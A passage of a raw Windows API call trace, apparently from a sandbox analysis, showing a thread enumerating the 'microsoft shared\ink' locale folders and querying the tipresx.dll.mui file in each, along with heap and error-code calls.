nFileSizeLow=0x2a00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0121.832] GetLastError () returned 0x12 [0121.832] GetCurrentThreadId () returned 0x9b0 [0121.832] GetLastError () returned 0x12 [0121.832] GetLastError () returned 0x12 [0121.833] FindClose (in: hFindFile=0x10f7650 | out: hFindFile=0x10f7650) returned 1 [0121.833] GetCurrentThreadId () returned 0x9b0 [0121.833] GetLastError () returned 0x12 [0121.833] GetLastError () returned 0x12 [0121.833] GetLastError () returned 0x12 [0121.833] GetLastError () returned 0x12 [0121.833] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0121.833] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui")) returned 0x20 [0121.834] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1f90 | out: hHeap=0x2ad0000) returned 1 [0121.834] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0121.834] GetLastError () returned 0x12 [0121.834] GetLastError () returned 0x12 [0121.834] GetLastError () returned 0x12 [0121.835] GetLastError () returned 0x12 [0121.835] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui", lpFilePart=0x9bada4*="tipresx.dll.mui") returned 0x48 [0121.835] GetCurrentThreadId () returned 0x9b0 [0121.835] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0121.835] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0121.835] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0121.835] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0121.835] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0121.835] GetCurrentThreadId () returned 0x9b0 [0121.836] GetLastError () returned 0x12 [0121.836] GetLastError () returned 0x12 [0121.836] GetLastError () returned 0x12 [0121.836] GetLastError () returned 0x12 [0121.836] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7a10 [0121.836] GetLastError () returned 0x12 [0121.836] GetCurrentThreadId () returned 0x9b0 [0121.836] GetLastError () returned 0x12 [0121.836] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0121.837] GetLastError () returned 0x12 [0121.837] GetCurrentThreadId () returned 0x9b0 [0121.837] GetLastError () returned 0x12 [0121.837] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0121.837] GetLastError () returned 0x12 [0121.837] GetCurrentThreadId () returned 0x9b0 [0121.837] GetLastError () returned 0x12 [0121.837] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0121.837] GetLastError () returned 0x12 [0121.837] GetCurrentThreadId () returned 0x9b0 [0121.837] GetLastError () returned 0x12 [0121.837] GetLastError () returned 0x12 [0121.837] FindClose (in: hFindFile=0x10f7a10 | out: hFindFile=0x10f7a10) returned 1 [0121.838] GetCurrentThreadId () returned 0x9b0 [0121.838] GetLastError () returned 0x12 [0121.838] GetLastError () returned 0x12 [0121.838] GetLastError () returned 0x12 [0121.838] GetLastError () returned 0x12 [0121.838] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0121.838] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui")) returned 0x20 [0121.838] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2460 | out: hHeap=0x2ad0000) returned 1 [0121.838] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0121.839] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0121.839] GetLastError () returned 0x12 [0121.839] GetLastError () returned 0x12 [0121.839] GetLastError () returned 0x12 [0121.839] GetLastError () returned 0x12 [0121.839] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui", lpFilePart=0x9bada4*="tipresx.dll.mui") returned 0x48 [0121.839] GetCurrentThreadId () returned 0x9b0 [0121.839] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0121.839] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0121.839] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0121.839] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0121.839] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0121.840] GetCurrentThreadId () returned 0x9b0 [0121.840] GetLastError () returned 0x12 [0121.840] GetLastError () returned 0x12 [0121.840] GetLastError () returned 0x12 [0121.840] GetLastError () returned 0x12 [0121.840] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0554b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7310 [0121.840] GetLastError () returned 0x12 [0121.840] GetCurrentThreadId () returned 0x9b0 [0121.840] GetLastError () returned 0x12 [0121.841] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0554b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0121.841] GetLastError () returned 0x12 [0121.841] GetCurrentThreadId () returned 0x9b0 [0121.841] GetLastError () returned 0x12 [0121.841] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e316e09, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e316e09, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e316e09, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0121.841] GetLastError () returned 0x12 [0121.841] GetCurrentThreadId () returned 0x9b0 [0121.841] GetLastError () returned 0x12 [0121.841] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e316e09, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e316e09, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e316e09, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0121.841] GetLastError () returned 0x12 [0121.841] GetCurrentThreadId () returned 0x9b0 [0121.841] GetLastError () returned 0x12 [0121.841] GetLastError () returned 0x12 [0121.842] FindClose (in: hFindFile=0x10f7310 | out: hFindFile=0x10f7310) returned 1 [0121.842] GetLastError () returned 0x12 [0121.842] GetLastError () returned 0x12 [0121.842] GetLastError () returned 0x12 [0121.842] GetLastError () returned 0x12 [0121.842] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0121.842] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20 [0121.842] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2250 | out: hHeap=0x2ad0000) returned 1 [0121.842] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0121.842] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0121.843] GetCurrentThreadId () returned 0x9b0 [0121.843] GetLastError () returned 0x12 [0121.843] GetLastError () returned 0x12 [0121.843] GetLastError () returned 0x12 [0121.843] GetLastError () returned 0x12 [0121.843] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui", lpFilePart=0x9bada4*="tipresx.dll.mui") returned 0x48 [0121.843] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0121.843] GetCurrentThreadId () returned 0x9b0 [0121.843] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0121.843] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0121.843] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0121.843] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0121.844] GetCurrentThreadId () returned 0x9b0 [0121.844] GetLastError () returned 0x12 [0121.844] GetLastError () returned 0x12 [0121.844] GetLastError () returned 0x12 [0121.844] GetLastError () returned 0x12 [0121.844] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7a10 [0121.844] GetLastError () returned 0x12 [0121.844] GetCurrentThreadId () returned 0x9b0 [0121.844] GetLastError () returned 0x12 [0121.844] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0121.845] GetLastError () returned 0x12 [0121.845] GetCurrentThreadId () returned 0x9b0 [0121.845] GetLastError () returned 0x12 [0121.845] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0121.845] GetLastError () returned 0x12 [0121.845] GetCurrentThreadId () returned 0x9b0 [0121.845] GetLastError () returned 0x12 [0121.845] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0121.845] GetLastError () returned 0x12 [0121.845] GetCurrentThreadId () returned 0x9b0 [0121.845] GetLastError () returned 0x12 [0121.845] GetLastError () returned 0x12 [0121.846] FindClose (in: hFindFile=0x10f7a10 | out: hFindFile=0x10f7a10) returned 1 [0121.846] GetLastError () returned 0x12 [0121.846] GetLastError () returned 0x12 [0121.846] GetLastError () returned 0x12 [0121.846] GetLastError () returned 0x12 [0121.846] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0121.846] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui")) returned 0x20 [0121.847] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a28d8 | out: hHeap=0x2ad0000) returned 1 [0121.847] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0121.847] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0121.847] GetCurrentThreadId () returned 0x9b0 [0121.847] GetLastError () returned 0x12 [0121.848] GetLastError () returned 0x12 [0121.848] GetLastError () returned 0x12 [0121.848] GetLastError () returned 0x12 [0121.848] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui", lpFilePart=0x9bada4*="tipresx.dll.mui") returned 0x48 [0121.848] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0121.848] GetCurrentThreadId () returned 0x9b0 [0121.848] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0121.848] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0121.848] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0121.848] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0121.848] GetCurrentThreadId () returned 0x9b0 [0121.849] GetLastError () returned 0x12 [0121.849] GetLastError () returned 0x12 [0121.849] GetLastError () returned 0x12 [0121.849] GetLastError () returned 0x12 [0121.849] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f77d0 [0121.849] GetLastError () returned 0x12 [0121.849] GetCurrentThreadId () returned 0x9b0 [0121.849] GetLastError () returned 0x12 [0121.849] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0121.850] GetLastError () returned 0x12 [0121.850] GetCurrentThreadId () returned 0x9b0 [0121.850] GetLastError () returned 0x12 [0121.850] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0121.850] GetLastError () returned 0x12 [0121.850] GetCurrentThreadId () returned 0x9b0 [0121.850] GetLastError () returned 0x12 [0121.850] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0121.850] GetLastError () returned 0x12 [0121.850] GetCurrentThreadId () returned 0x9b0 [0121.850] GetLastError () returned 0x12 [0121.850] GetLastError () returned 0x12 [0121.850] FindClose (in: hFindFile=0x10f77d0 | out: hFindFile=0x10f77d0) returned 1 [0121.851] GetLastError () returned 0x12 [0121.851] GetLastError () returned 0x12 [0121.851] GetLastError () returned 0x12 [0121.851] GetLastError () returned 0x12 [0121.851] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0121.851] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui")) returned 0x20 [0121.852] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2670 | out: hHeap=0x2ad0000) returned 1 [0121.852] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0121.852] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0121.852] GetCurrentThreadId () returned 0x9b0 [0121.852] GetLastError () returned 0x12 [0121.852] GetLastError () returned 0x12 [0121.852] GetLastError () returned 0x12 [0121.852] GetLastError () returned 0x12 [0121.852] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui", lpFilePart=0x9bada4*="tipresx.dll.mui") returned 0x48 [0121.852] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0121.852] GetCurrentThreadId () returned 0x9b0 [0121.853] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0121.853] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0121.853] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0121.853] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0121.853] GetLastError () returned 0x12 [0121.853] GetLastError () returned 0x12 [0121.853] GetLastError () returned 0x12 [0121.853] GetLastError () returned 0x12 [0121.853] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7510 [0121.853] GetLastError () returned 0x12 [0121.853] GetCurrentThreadId () returned 0x9b0 [0121.854] GetLastError () returned 0x12 [0121.854] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0121.854] GetLastError () returned 0x12 [0121.854] GetCurrentThreadId () returned 0x9b0 [0121.854] GetLastError () returned 0x12 [0121.854] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0121.854] GetLastError () returned 0x12 [0121.854] GetCurrentThreadId () returned 0x9b0 [0121.854] GetLastError () returned 0x12 [0121.854] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0121.854] GetLastError () returned 0x12 [0121.854] GetCurrentThreadId () returned 0x9b0 [0121.855] GetLastError () returned 0x12 [0121.855] GetLastError () returned 0x12 [0121.855] FindClose (in: hFindFile=0x10f7510 | out: hFindFile=0x10f7510) returned 1 [0121.855] GetCurrentThreadId () returned 0x9b0 [0121.855] GetLastError () returned 0x12 [0121.855] GetLastError () returned 0x12 [0121.855] GetLastError () returned 0x12 [0121.855] GetLastError () returned 0x12 [0121.855] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0121.855] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui")) returned 0x20 [0121.856] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a26c8 | out: hHeap=0x2ad0000) returned 1 [0121.856] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0121.856] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0121.856] GetCurrentThreadId () returned 0x9b0 [0121.856] GetLastError () returned 0x12 [0121.856] GetLastError () returned 0x12 